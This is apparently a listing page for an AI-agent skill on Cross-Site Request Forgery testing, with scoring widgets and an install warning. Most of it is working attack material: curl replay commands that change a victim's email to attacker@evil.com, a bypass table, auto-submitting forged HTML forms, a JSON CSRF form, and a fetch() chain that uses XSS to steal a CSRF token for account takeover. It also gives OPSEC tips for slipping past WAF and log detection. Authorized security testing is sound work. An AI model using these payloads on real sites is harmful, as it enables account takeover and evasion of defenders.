Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover.
71
87%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.
# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'
# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "email=attacker@evil.com"
# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "csrf=AAAAAAAA&email=attacker@evil.com"
# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"
# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"
# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
"https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.
| Class | Server flaw | Bypass |
|---|---|---|
| Token absent | no token at all | direct cross-origin form POST |
| Token not validated | header sent but never checked | send empty / random token |
| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |
| Predictable token | sequential / timestamp / md5(userid) | precompute |
| Token in URL | leaks via Referer / logs / shoulder | steal then replay |
| Method-override | _method=POST, X-HTTP-Method-Override: POST | turn protected POST into a GET CSRF |
| JSON CSRF | accepts Content-Type: application/json from forms | submit form with enctype=text/plain + crafted body, or use fetch |
| Content-type bypass | only validates token when CT=application/x-www-form-urlencoded | switch to text/plain or multipart/form-data |
| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or <form method=POST> triggered by user click |
| SameSite=None | no protection at all | classic cross-site form |
| Missing on subset | only /admin/* protected | unprotected sister endpoint (/api/v1/email) |
| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |
| Logout CSRF | logout has no token | denial-of-service / phishing reset |
| Double-submit cookie flaw | cookie not __Host- prefixed / set from any subdomain | XSS on subdomain plants the cookie + matching body value |
| Referer-only check | header strippable | <meta name="referrer" content="no-referrer"> on attacker page |
<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script><form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
fetch('/account/email', {
method: 'POST', credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
body: 'email=attacker@evil.com'
});
});role=admin mass-assignment POST.xsrfprobe -u https://<TARGET>)| Indicator | Detection method | OPSEC note |
|---|---|---|
Many POST from foreign Origin | WAF Origin/Referer rule | Use blank/null Referer to test, throttle |
| Repeated token mutation on one session | App-side anomaly | Toggle one variable per request |
| Auto-submit form referrer from attacker host | Access-log correlation | Host PoC on in-scope collector during authorized tests |
finding-protocol; otherwise downgrade.e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.